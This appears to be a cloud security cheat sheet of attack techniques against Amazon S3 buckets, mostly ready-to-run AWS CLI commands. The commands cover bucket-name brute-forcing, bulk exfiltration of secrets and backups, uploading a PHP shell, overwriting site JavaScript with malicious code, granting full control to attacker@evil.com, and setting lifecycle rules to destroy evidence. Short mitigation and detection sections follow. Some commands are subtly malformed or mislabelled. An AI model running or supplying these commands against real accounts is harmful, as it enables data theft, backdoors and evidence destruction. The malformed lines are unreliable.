🧠 Description

Amazon S3 (Simple Storage Service) buckets are a common target for attackers due to misconfigurations that allow unauthorized access, data exfiltration, and potential privilege escalation.

Why S3 is Targeted:
  • Data-rich: Often contains backups, configs, keys, PII
  • Misconfigurations: Public access, weak ACLs, wrong policies
  • Easy enumeration: Bucket names are often predictable
  • Credential leakage: S3 logs may expose keys
  • Lateral movement: Can lead to further compromise

🔍 Enumeration

List All S3 Buckets:

# AWS CLI enumeration
aws s3 ls
aws s3 ls --region us-east-1

# List all buckets across regions
aws s3api list-buckets --query 'Buckets[*].[Name,Region]'

# Get bucket location
aws s3api get-bucket-location --bucket target-bucket

Enumerate Bucket Contents:

# List bucket contents
aws s3 ls s3://target-bucket/
aws s3 ls s3://target-bucket/ --recursive

# Get bucket policy
aws s3api get-bucket-policy --bucket target-bucket

# Get bucket ACL
aws s3api get-bucket-acl --bucket target-bucket

# Get bucket versioning
aws s3api get-bucket-versioning --bucket target-bucket

Public Access Check:

# Check public access block
aws s3api get-public-access-block --bucket target-bucket

# Check bucket policy status
aws s3api get-bucket-policy-status --bucket target-bucket

# Check ACL for Everyone
aws s3api get-bucket-acl --bucket target-bucket | grep -i everyone

Website Hosting Detection:

# Check website configuration
aws s3api get-bucket-website --bucket target-bucket

# Try direct access
curl https://target-bucket.s3.amazonaws.com
curl https://target-bucket.s3.amazonaws.com/.git/config

💣 Access Techniques

1. Anonymous Access:

# List public bucket
aws s3 ls s3://public-bucket/ --no-sign-request

# Download files
aws s3 cp s3://public-bucket/secrets.csv ./ --no-sign-request
aws s3 sync s3://public-bucket/ ./local-dir/ --no-sign-request

# Direct HTTP access
curl https://public-bucket.s3.amazonaws.com/secrets.csv

2. Authenticated Access:

# With credentials
aws s3 ls s3://target-bucket/
aws s3 sync s3://target-bucket/ ./download/ --region us-east-1

# Recursive download
aws s3 cp s3://target-bucket/ . --recursive

3. Find Bucket Names:

# Common patterns
aws s3 ls s3://company-name-prod/
aws s3 ls s3://company-name-staging/
aws s3 ls s3://company-name-backup/

# Subdomain enumeration
nslookup target.com
# Look for s3.company.com

# Wayback Machine
curl "https://web.archive.org/web/*/https://*.s3.amazonaws.com/*"

📤 Data Exfiltration

Download Everything:

# Full sync
aws s3 sync s3://target-bucket/ /tmp/exfil/ --region us-east-1

# Specific file types
aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*.env"
aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*.sql"
aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*config*"

# Check for sensitive extensions
# .env, .pem, .sql, .zip, .bak, .config, .csv, .json

Versioned Bucket Access:

# List object versions
aws s3api list-object-versions --bucket target-bucket

# Get specific version
aws s3api get-object --bucket target-bucket --key backup/v1.zip version-id VERSION_ID output.zip

# List delete markers
aws s3api list-object-versions --bucket target-bucket --prefix "" | grep DeleteMarker

Common Sensitive Files:

  • .env - Environment variables with API keys
  • config/*.json - Configuration files
  • backup/*.sql - Database backups
  • keys/*.pem - Private keys
  • creds.json - Hardcoded credentials
  • .git/config - Git repository leaks

🎯 Upload & Persistence

Upload Malicious Files:

# Upload backdoor
aws s3 cp shell.php s3://vulnerable-bucket/shell.php

# Overwrite legitimate files
aws s3 cp malicious.js s3://app-bucket/static/app.js --storage-class STANDARD

# Set custom metadata
aws s3 cp payload s3://target-bucket/ --metadata "source=legitimate"

Setup Website Backdoor:

# If bucket is website-enabled
aws s3 website s3://target-bucket/ --index-document index.html --error-document error.html

# Upload reverse shell as index
aws s3 cp index.html s3://malicious-bucket/

# Set correct content-type
aws s3 cp shell.php s3://target-bucket/ --content-type "application/x-httpd-php"

Object Lifecycle Exploitation:

# Check lifecycle rules
aws s3api get-bucket-lifecycle-configuration --bucket target-bucket

# If you can modify, set immediate expiration to destroy evidence
aws s3api put-bucket-lifecycle-configuration --bucket target-bucket --lifecycle-configuration '{
  "Rules": [{
    "ID": "EvictAll",
    "Status": "Enabled",
    "Expiration": {"Days": 1},
    "Filter": {"Prefix": ""}
  }]
}'

🔓 ACL Exploitation

Grant Permissions to Yourself:

# Add yourself to bucket ACL
aws s3api put-bucket-acl --bucket target-bucket --grant-read uri=http://acs.amazonaws.com/groups/global/AllUsers

# Add specific user
aws s3api put-bucket-acl --bucket target-bucket --grant-full-control email-address=attacker@evil.com

# Remove public access
aws s3api put-public-access-block --bucket target-bucket \
    --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

Check Current Permissions:

# View full ACL
aws s3api get-bucket-acl --bucket target-bucket

# Check policy
aws s3api get-bucket-policy --bucket target-bucket | jq .Policy

# View all permissions
aws s3api get-object-acl --bucket target-bucket --key sensitive/file.txt

🚀 Cross-Account Attacks

Assume Role via Bucket Policy:

# Check for cross-account policies
aws s3api get-bucket-policy --bucket target-bucket

# Look for iam:PassRole or sts:AssumeRole in policy
# If you can trigger Lambda from S3 event, you might escalate

Lambda S3 Exploitation:

# If bucket triggers Lambda
# Lambda might have higher privileges

# Upload malicious file to trigger Lambda
aws s3 cp payload.zip s3://target-bucket/trigger.zip

# Lambda could have ec2:DescribeInstances, iam:CreateUser, etc.

🛡️ Mitigation

✅ Secure Configuration:
  • Block Public Access: Enable for all buckets
  • Use Bucket Policies: Explicit deny for public access
  • Encrypt Data: SSE-KMS for sensitive data
  • Versioning: Enable for backup and audit
  • Logging: Enable S3 access logging
  • Tags: Label sensitive buckets

AWS Config Rules:

# Required remediations
- s3-bucket-public-read-prohibited
- s3-bucket-public-write-prohibited
- s3-bucket-ssl-requests-only
- s3-bucket-versioning-enabled
- s3-bucket-logging-enabled

Bucket Policy Example (Deny Unencrypted):

{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyUnEncryptedUploads",
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:PutObject",
    "Resource": "arn:aws:s3:::target-bucket/*",
    "Condition": {
      "Null": {
        "s3:x-amz-server-side-encryption": "true"
      }
    }
  }]
}

🔍 Detection

CloudTrail Monitoring:

# Events to alert on
- ListBuckets (unusual times)
- GetObject on sensitive prefixes
- PutObject with malware patterns
- DeleteObject on critical files
- PutBucketPolicy with public access
- GetBucketAcl

# CloudWatch filter pattern
fields @timestamp, s3.bucket.name, s3.object.key, errorCode
| filter (eventName = "GetObject") and (s3.object.key like /secret|cred|key|backup/)
| sort @timestamp desc

GuardDuty Findings:

  • Exfiltration:S3/ObjectRead.All
  • Discovery:S3/BucketDiscovery
  • UnauthorizedAccess:S3/MaliciousIPCaller

🛠️ Tools

Automated enumeration:
  • aws-cli: Official CLI for S3 operations
  • s3fs: Mount S3 as filesystem
  • mass3: Brute-force bucket names
  • bucket-view: Web-based bucket enumeration

Mass Enumeration:

# Use wordlist for common names
for word in $(cat wordlist.txt); do
  aws s3 ls s3://$word/ --no-sign-request 2>/dev/null && echo "FOUND: $word"
done

# Check for company backups
aws s3 ls s3://company-backup/ --no-sign-request
aws s3 ls s3://company-prod/ --no-sign-request
aws s3 ls s3://company-dev/ --no-sign-request
Back to Cloud Security